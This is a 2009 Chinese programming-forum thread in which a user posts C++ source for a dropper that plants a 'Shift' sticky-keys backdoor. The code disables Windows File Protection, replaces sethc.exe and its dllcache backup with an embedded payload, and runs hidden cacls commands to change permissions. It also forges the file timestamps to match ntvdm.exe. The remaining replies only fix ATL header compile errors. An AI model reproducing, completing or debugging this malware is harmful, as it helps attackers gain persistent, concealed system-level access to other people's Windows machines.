本帖最后由 a6408425 于 2009-09-28 16:21:49 编辑

解决方案 »

  1.   

    http://topic.csdn.net/t/20021204/15/1230627.html
      

  2.   

    //AutoRelease.cpp
    #include "stdafx.h"
    #include "resource.h"
    #include "tchar.h"
    int APIENTRY WinMain(HINSTANCE hInstance,
                         HINSTANCE hPrevInstance,
                         LPSTR     lpCmdLine,
                         int       nCmdShow)
    {
    HRSRC hResInfo=NULL;
    HGLOBAL hResData=NULL;
    DWORD dwSize=0,dwWritten=0;
    HANDLE hFile = NULL;
    HANDLE hFile0 = NULL;
    char szDstFile[50]={0};
    char szDstFile0[50]={0};
    char Temp[100]={0};
    GetSystemDirectory(szDstFile,50);
    strcat(szDstFile,"\\sethc.exe");//sethc.exe文件绝对路径
    strcat(szDstFile0,"\\dllcache\\sethc.exe");//dllcache里面的备份也要替换
    strcpy(Temp,szDstFile);// 用FindResource先找到资源,IDR_EXEFILE1是我导入的sethc.exe后门的ID
    hResInfo = FindResource(NULL,MAKEINTRESOURCE(IDR_EXEFILE1),"EXEFILE");
    dwSize = SizeofResource(NULL,hResInfo);
    // LoadResource加载资源
    hResData = LoadResource(NULL,hResInfo); //对sethc.exe关闭文件保护
    DWORD (WINAPI *SfcFileException)(DWORD, LPWSTR, DWORD);  
    SfcFileException = (DWORD (WINAPI *)(DWORD, LPWSTR, DWORD)) GetProcAddress(LoadLibrary(_T("SFC_OS.dll")), (LPCSTR)5);
    USES_CONVERSION;   
    SfcFileException(0, A2W(Temp), -1);//先给Everyone的完全控制权限,防止被人设置了修改权限
    sprintf(Temp,"cacls %s /c /e /p everyone:f",szDstFile);
    WinExec(Temp,SW_HIDE);
    sprintf(Temp,"cacls %s /c /e /p everyone:f",szDstFile0);
    WinExec(Temp,SW_HIDE);
    strcpy(Temp,szDstFile0);
    sprintf(Temp,"cacls %s /c /e /p everyone:f",szDstFile);
    WinExec(Temp,SW_HIDE);
    sprintf(Temp,"cacls %s /c /e /p everyone:f",szDstFile0);
    WinExec(Temp,SW_HIDE);Sleep(500);//经过我严格测试,这里要稍微等一会,要不然下面去掉只读属性有时会不成功。SetFileAttributes(szDstFile,FILE_ATTRIBUTE_NORMAL); //去掉只读属性
    SetFileAttributes(szDstFile0,FILE_ATTRIBUTE_NORMAL);
    //创建文件
    hFile = CreateFile(szDstFile,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL); 
    //写入要释放的Shift后门文件
    WriteFile(hFile,(LPCVOID)LockResource(hResData),dwSize,&dwWritten,NULL); 
    hFile0 = CreateFile(szDstFile0,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_READONLY,NULL);
    WriteFile(hFile0,(LPCVOID)LockResource(hResData),dwSize,&dwWritten,NULL); //修改文件时间
    HANDLE hFile1 = NULL;
    FILETIME CreateTime, LastAccessTime, LastWriteTime;    
    char szSysFile[50]={0};
    GetSystemDirectory(szSysFile,50);
    strcat(szSysFile,"\\ntvdm.exe");//ntvdm.exe文件绝对路径,等会copy它的时间
    hFile1 = CreateFile(szSysFile,GENERIC_READ,0,0,OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,0); GetFileTime(hFile1,&CreateTime,&LastAccessTime,&LastWriteTime);//获取ntvdm.exe的文件时间
    SetFileTime(hFile,&CreateTime,&LastAccessTime,&LastWriteTime);//修改成ntvdm.exe时间//先去掉所有权限以防万一
    //这里如果不先去掉,后面赋予只读权限的时候是否会删除原有的修改权限我没有测试,有兴趣的可以测试一下,如果成功就可以省掉这里部分代码。
    sprintf(Temp,"cacls %s /t /c /e /r everyone",szDstFile);
    WinExec(Temp,SW_HIDE);
    sprintf(Temp,"cacls %s /t /c /e /r administrators",szDstFile);
    WinExec(Temp,SW_HIDE);
    sprintf(Temp,"cacls %s /t /c /e /r users",szDstFile);
    WinExec(Temp,SW_HIDE);
    sprintf(Temp,"cacls %s /t /c /e /r system",szDstFile);
    WinExec(Temp,SW_HIDE);
    sprintf(Temp,"cacls %s /t /c /e /r \"Power users\"",szDstFile);
    WinExec(Temp,SW_HIDE);//再给普通用户的读取运行权限(原版sethc.exe就是有这几个用户/用户组有相关权限,所以我现在还是给这几个用户/用户组分配读取权限。)
    sprintf(Temp,"cacls %s /c /e /p administrators:r",szDstFile);
    WinExec(Temp,SW_HIDE);
    sprintf(Temp,"cacls %s /c /e /p system:r",szDstFile);
    WinExec(Temp,SW_HIDE);
    sprintf(Temp,"cacls %s /c /e /p \"Power users\":r",szDstFile);
    WinExec(Temp,SW_HIDE);
    sprintf(Temp,"cacls %s /c /e /p users:r",szDstFile);
    WinExec(Temp,SW_HIDE);CloseHandle(hFile);
    CloseHandle(hFile1);
    CloseHandle(hFile0);
    return 0;
    }上去接着问。。这是代码~~
      

  3.   

    加上:
    #include <AtlConv.h>
    即可。另,如果你用的是VC++ 2008的话,则不必调用USES_CONVERSION,把下面的代码:USES_CONVERSION;  
    SfcFileException(0, A2W(Temp), -1);改成:SfcFileException(0, CA2W(Temp), -1);
      

  4.   

    c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(46) : error C2146: syntax error : missing ';' before identifier 'WINAPI'
    c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(46) : error C2433: 'LPWSTR' : 'inline' not permitted on data declarations
    c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(46) : error C2501: 'LPWSTR' : missing storage-class or type specifiers
    c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(46) : fatal error C1004: unexpected end of file found
    Error executing cl.exe.楼上的改过报这个错误
      

  5.   


    仔细看我的回复嘛,我说的是“如果你用的是VC++ 2008的话”才能那样改,你的vc98明显就是VC 6.0嘛~~
    你直接在stdafx.h里加上:#include <AtlConv.h>试试。
    另外,你的程序是MFC程序吧?如果是SDK程序的话可能用不了A2W这个宏。
      

  6.   

    搞错了,上面的回复没看清楚,请忽略上面的回复。你是不是把#include <AtlConv.h>加到#include <windows.h>前面去了?
    把#include <AtlConv.h>加到stdafx.h的最后试试
      

  7.   


    谢谢答复。。不过还是不行
    \program files\microsoft visual studio\vc98\atl\include\atlconv.h(48) : error C2065: '_ASSERTE' : undeclared identifier
    c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(141) : error C2065: 'LPCOLESTR' : undeclared identifier
    c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(141) : error C2146: syntax error : missing ')' before identifier 'x'
    c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(141) : error C2433: 'ocslen' : 'inline' not permitted on data declarations
    c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(141) : error C2059: syntax error : ')'
    c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(141) : error C2143: syntax error : missing ';' before '{'
    c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(141) : error C2447: missing function header (old-style formal list?)
    c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(143) : error C2143: syntax error : missing ';' before '*'
    c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(143) : error C2433: 'OLECHAR' : 'inline' not permitted on data declarations
    c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(143) : error C2501: 'OLECHAR' : missing storage-class or type specifiers
    c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(143) : error C2061: syntax error : identifier 'LPOLESTR'
    c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(144) : error C2501: 'ocscpy' : missing storage-class or type specifiers
    c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(144) : error C2065: 'LPOLESTR' : undeclared identifier
    c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(144) : error C2146: syntax error : missing ';' before identifier 'memcpy'
    c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(144) : error C2065: 'dest' : undeclared identifier
    c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(144) : error C2065: 'src' : undeclared identifier
    c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(145) : error C2143: syntax error : missing ';' before '*'
    c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(145) : error C2433: 'OLECHAR' : 'inline' not permitted on data declarations
    c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(145) : error C2501: 'OLECHAR' : missing storage-class or type specifiers
    c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(145) : error C2086: 'OLECHAR' : redefinition
    c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(145) : error C2061: syntax error : identifier 'LPOLESTR'
    c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(145) : error C2501: 'ocscat' : missing storage-class or type specifiers
    c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(145) : warning C4508: 'ocscat' : function should return a value; 'void' return type assumed
    c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(151) : error C2146: syntax error : missing ';' before identifier 'CharNextO'
    c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(151) : error C2433: 'LPOLESTR' : 'inline' not permitted on data declarations
    c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(151) : error C2501: 'LPOLESTR' : missing storage-class or type specifiers
    c:\program files\microsoft visual studio\vc98\atl\include\atlconv.h(151) : fatal error C1004: unexpected end of file found
    Error executing cl.exe.你可以看看我一楼发的那个地址。。上边是发这个源码的地方。。我按照哪里搞的。。